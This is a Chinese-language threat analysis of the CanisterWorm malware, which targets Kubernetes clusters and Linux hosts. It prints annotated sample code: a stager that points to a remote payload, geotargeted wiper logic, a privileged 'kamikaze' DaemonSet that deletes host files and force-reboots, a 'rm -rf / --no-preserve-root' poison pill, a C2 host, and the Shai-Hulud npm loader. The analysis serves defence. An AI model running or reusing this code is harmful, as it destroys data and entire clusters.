1. 簡介
報告提供了 CanisterWorm 的技術分析,這是由 TeamPCP 開發的破壞性 payload,其目標鎖定 Kubernetes cluster與其他系統。此蠕蟲展現了用於初始存取、橫向移動及資料抹除的複雜技術。本分析將深入探討此蠕蟲的操作階段,包含其 stager、目標鎖定機制以及破壞性元件,特別聚焦於其 Kubernetes wiper 與 poison pill 功能。此外,也將融入與 Kubernetes 安全性及蠕蟲傳播相關的研究見解,以提供對威脅環境的全面理解。
2. CanisterWorm 技術分析
2.1. 攻擊鏈概述
CanisterWorm 行動(被認定為 TeamPCP 所發起)採用了多階段的攻擊鏈。最初會部署一個 stager 元件,接著識別並鎖定有漏洞的系統。該蠕蟲利用 ICP canister 進行命令與控制 (C2) 操作,這是一種惡意軟體通信的新穎手法 [1] 。
2.2. Stager 元件
stager 負責初始入侵與 payload 傳遞。它會下載並執行惡意程式的後續階段。原始文章強調了一個用作 stager 的 bash 腳本 [1] :
- #!/usr/bin/env bash
- # 指定使用 bash 來執行這個腳本,透過 env 找到系統中的 bash 路徑。
- set -euo pipefail
- # -e: 一旦有指令失敗(非 0 回傳值)就停止腳本。
- # -u: 使用未定義的變數時會視為錯誤。
- # -o pipefail: 在pipeline中,只要有任何一個指令失敗,整個pipeline就算失敗。
- if ! command -v kubectl &>/dev/null; then
- # 檢查系統中是否有安裝 kubectl,如果沒有就進入安裝流程。
- ARCH="amd64"
- # 預設架構為 amd64。
- if [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
- # 如果系統架構是 aarch64,則改成 arm64。
- curl -L -s https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl \
- # 從 Kubernetes 官方下載最新穩定版的 kubectl,依照系統架構選擇正確的執行檔。
- chmod +x /tmp/kubectl
- # 將下載的 kubectl 設定為可執行檔,放在 /tmp 目錄。
- export PATH="/tmp:$PATH"
- # 將 /tmp 加入 PATH,讓系統可以直接執行剛下載的 kubectl。
- fi
- PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
- # 定義一個變數 PY_URL,指向某個 Python 腳本的網址。
此腳本首先檢查系統中是否存在
kubectl
。如果未找到,它會根據系統架構(amd64 或 arm64)下載對應的
kubectl
執行檔案,並將其加入 PATH。隨後,它定義了
PY_URL
,指向下一階段的 payload,即名為
kube.py
的 Python 腳本。這展示了惡意程式常用的技術,確保在受感染的系統上擁有必要的工具,並取得後續的惡意元件。
2.3. 目標鎖定機制
CanisterWorm 採用特定的機制來識別其目標。Python payload
kube.py
包含邏輯,用於判斷受感染的系統是 Kubernetes 環境還是非 Kubernetes 系統,以及是否匹配特定的地緣政治目標。此決策的核心邏輯摘要如下
[1]
:
- if __name__ == "__main__":
- # 確認這段程式是直接執行,而不是被其他模組匯入。
- if is_k8s():
- # 如果判斷目前環境是在 Kubernetes cluster內。
- if is_iran():
- # 如果判斷所在位置是伊朗。
- deploy_destructive_ds()
- # 呼叫一個函式(名稱顯示可能有破壞性用途)。
- else:
- # 如果不是在伊朗。
- deploy_std_ds()
- # 呼叫另一個函式(名稱顯示是標準部署)。
- else:
- # 如果不是 Kubernetes 環境。
- if is_iran():
- # 如果判斷所在位置是伊朗。
- poison_pill()
- # 呼叫一個函式(名稱顯示可能是惡意或終止用途)。
- else:
- # 如果不是在伊朗。
- sys.exit(1)
- # 直接結束程式,回傳狀態碼 1。
此程式碼片段說明了條件執行流程。如果系統被識別為 Kubernetes 環境(
is_k8s()
回傳 true),它會進一步檢查特定目標(
is_iran()
)。根據這些條件,它會部署破壞性的 DaemonSet(
deploy_destructive_ds()
)或標準的 DaemonSet(
deploy_std_ds()
)。對於非 Kubernetes 系統,如果符合特定目標,它會執行
poison_pill()
函數,否則退出。這種高度針對性的方法讓蠕蟲能對特定環境產生最大影響,同時避免在其他環境中被偵測到。
2.4. Kubernetes Wiper:「Kamikaze」
對於被識別為目標的 Kubernetes 環境,CanisterWorm 會部署一個名為
host-provisioner-iran
且破壞性極強的 DaemonSet,其容器名為
kamikaze
。此 DaemonSet 目的在抹除整個 Kubernetes cluster
[1]
。負責部署此 DaemonSet 的 Python 程式碼如下:
- def deploy_destructive_ds():
- # 定義一個函式 deploy_destructive_ds。
- ds_name = "host-provisioner-iran"
- # 設定 DaemonSet 的名稱為 "host-provisioner-iran"。
- if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
- # 使用 kubectl 檢查 kube-system 命名空間中是否已存在同名的 DaemonSet。
- # 如果存在(回傳碼為 0),就直接結束函式。
- return
- yaml = f"""
- # 建立一段 YAML 格式的字串,用來描述 Kubernetes DaemonSet 的設定。
- apiVersion: apps/v1
- kind: DaemonSet
- metadata:
- name: {ds_name}
- namespace: kube-system
- spec:
- selector:
- matchLabels:
- name: {ds_name}
- template:
- metadata:
- labels:
- name: {ds_name}
- spec:
- hostNetwork: true
- hostPID: true
- tolerations:
- - operator: Exists
- containers:
- - name: kamikaze
- image: alpine:latest
- securityContext:
- privileged: true
- command: ["/bin/sh", "-c"]
- args:
- - |
- # 這裡定義容器啟動後要執行的 shell 指令。
- # (內容顯示可能有刪除檔案與強制重開機的動作)
- volumeMounts:
- - name: host-root
- mountPath: /mnt/host
- volumes:
- - name: host-root
- hostPath:
- path: /
- """
- # 上面這段 YAML 描述了一個 DaemonSet,會在所有節點上部署一個容器,
- # 並且掛載主機的根目錄到容器內。
- subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())
- # 使用 subprocess 呼叫 kubectl apply,將 YAML 套用到 Kubernetes cluster。
- # 這裡透過標準輸入傳遞 YAML 內容。
這個 DaemonSet 將主機的 root 檔案系統掛載到
/mnt/host
。接著,
command
和
args
會執行一系列的破壞性操作:它使用
find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {} +
來刪除主機上所有頂層的目錄和檔案(排除
/mnt
自身),然後使用
chroot /mnt/host reboot -f
強制重新啟動。在
securityContext
中使用
hostNetwork: true
、
hostPID: true
和
privileged: true
,賦予了容器極高的權限,使其能直接與主機系統互動。此外,
tolerations: [operator: Exists]
確保此 DaemonSet 會被排程到cluster中的每個節點(包括控制平面節點),從而透過單一的
kubectl apply
命令導致整個cluster被抹除
[1]
。
2.5. 針對非 Kubernetes 系統的「Poison Pill」
對於非 Kubernetes 系統,CanisterWorm 採用了一種更簡單但同樣具毀滅性的破壞機制,稱之為「poison pill」 [1] 。此函數目的在抹除系統的 root 目錄:
- def poison_pill():
- # 定義一個函式 poison_pill。
- cmd = "rm -rf / --no-preserve-root"
- # 建立一個字串變數 cmd,內容是一個系統指令(名稱顯示可能會造成破壞性操作)。
- if os.getuid() == 0:
- # 檢查目前程式是否以 root 使用者身份執行。
- os.system(cmd)
- # 如果是 root,直接執行 cmd 這個系統指令。
- else:
- # 如果不是 root 使用者。
- os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")
- # 嘗試使用 sudo(非互動模式,不要求輸入密碼)執行 cmd。
- # 如果 sudo 失敗,則直接執行 cmd。
這個 Python 函數嘗試執行
rm -rf / --no-preserve-root
。如果腳本以 root 權限執行(
os.getuid() == 0
),它會直接執行命令,該命令會遞迴刪除 root 檔案系統中的所有檔案和目錄。如果不是以 root 身分執行,它會嘗試使用
sudo -n
進行無密碼執行該命令。如果
sudo
失敗,它會繼續執行沒有
sudo
的命令,這仍會刪除當前使用者擁有的所有檔案。這確保了無論權限等級為何,都能達到最大程度的破壞,突顯了此蠕蟲的攻擊性
[1]
。
2.6. 用於命令與控制的 ICP Canister
CanisterWorm 的一個顯著特點是使用網際網路電腦協定 (Internet Computer Protocol, ICP) canister 進行命令與控制 (C2)
[1]
。這種方法偏離了傳統的集中式 C2 伺服器,提供了一個更具韌性且可能更難追蹤的通訊管道。ICP canister 是利用區塊鏈的「智能合約」,結合了程式碼和資料,使其具有防篡改性和高可用性。原始文章指定了所使用的 ICP canister:
tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io
[1]
。這種 C2 基礎設施的選擇使得偵測和關閉比傳統 C2 伺服器更具挑戰性,因為 canister 運行在去中心化的網路上。
3. 更廣泛的脈絡與相關攻擊手法
3.1. 與 Shai-Hulud 蠕蟲的比較
雖然 CanisterWorm 專注於 Kubernetes 和 Linux 環境中的破壞性 payload,但其他蠕蟲活動,例如 Shai-Hulud,則在不同生態系統中展示了類似的傳播和規避技術。例如,Shai-Hulud 蠕蟲針對 npm 供應鏈,並採用多階段加載過程來隱藏其惡意 payload [2] 。
Shai-Hulud 蠕蟲利用
package.json
中的
preinstall
腳本來執行一個加載器檔案
setup_bun.js
,該檔案隨後會下載並執行一個高度混淆的 payload
bun_environment.js
[2]
。這種將看似無害的加載器與大型、混淆的 payload 分開的做法,是一種關鍵的規避策略,使得靜態分析工具的初步檢測更加困難。加載器的核心邏輯如下所示
[2]
:
- // 該檔案會被加入到受害者的 package 中,檔案名稱為 setup_bun.js
- #!/usr/bin/env node
- // 指定使用 Node.js 來執行這個檔案,透過 env 找到系統中的 node 路徑。
- async function downloadAndSetupBun() {
- // 定義一個非同步函式 downloadAndSetupBun,用來下載並安裝 Bun。
- let command = process.platform === 'win32'
- ? 'powershell -c "irm bun.sh/install.ps1|iex"'
- : 'curl -fsSL https://bun.sh/install | bash';
- // 根據作業系統平台決定要執行的安裝指令:
- // - 如果是 Windows (win32),使用 PowerShell 下載並執行 bun.sh 的安裝腳本。
- // - 否則(Linux/macOS),使用 curl 下載安裝腳本並透過 bash 執行。
- execSync(command, { stdio: 'ignore' });
- // 使用 execSync 同步執行上面決定的安裝指令。
- // { stdio: 'ignore' } 表示忽略輸出,不顯示在終端機。
- runExecutable(bunPath, ['bun_environment.js']);
- // 呼叫 runExecutable 函式,執行 bunPath 指向的 Bun 執行檔,
- // 並傳入參數 'bun_environment.js',可能是要啟動某個環境設定腳本。
- }
CanisterWorm 和 Shai-Hulud 都展示了用於初始存取和 payload 傳遞的複雜方法,這強調了需要健全的供應鏈安全以及持續監控異常行為。CanisterWorm 利用 Kubernetes 的原生功能來實現其破壞性能力,而 Shai-Hulud 則利用軟體供應鏈的漏洞,展示了現代蠕蟲所使用的多樣化攻擊向量。
3.2. Kubernetes 漏洞與利用
CanisterWorm 利用具有高權限的 Kubernetes DaemonSet,凸顯了安全 Kubernetes 設定的至關重要性。對關鍵元件的未經授權存取可能導致嚴重的入侵,正如針對非 Kubernetes 系統的機制所顯示的那樣,這強調了網路安全防禦中持續保持警覺和適應性的必要性。透過了解此類攻擊的技術細節並實施全面的安全措施,組織可以更好地保護其關鍵基礎設施免受這些不斷演變的威脅。
結論
對 TeamPCP 的 CanisterWorm 的技術分析顯示,這是一種高度複雜且具破壞性的惡意軟體,目標鎖定 Kubernetes 環境與 Linux 系統。其多階段攻擊鏈利用 ICP canister 來進行具韌性的命令與控制 (C2),展現出威脅態勢的演變,傳統的安全措施可能因此失效。該蠕蟲能部署具特權的 DaemonSets 以進行整個叢集的清除,並在非 Kubernetes 系統上採用激進的『Poison pill』機制,凸顯了對強健的零信任安全架構的迫切需求。組織必須優先落實最小權限原則,確保服務帳號與容器僅以最低必要權限運作,以防止此類災難性的入侵。此外,持續監控與自動化威脅偵測的整合亦至關重要,以便在異常行為升級為全面性破壞事件之前加以識別與緩解。隨著惡意軟體作者持續利用雲原生特性與去中心化基礎架構,積極且縱深防禦的策略仍是保護關鍵數位資產免受這些先進、具地緣政治針對性的威脅的最有效方法。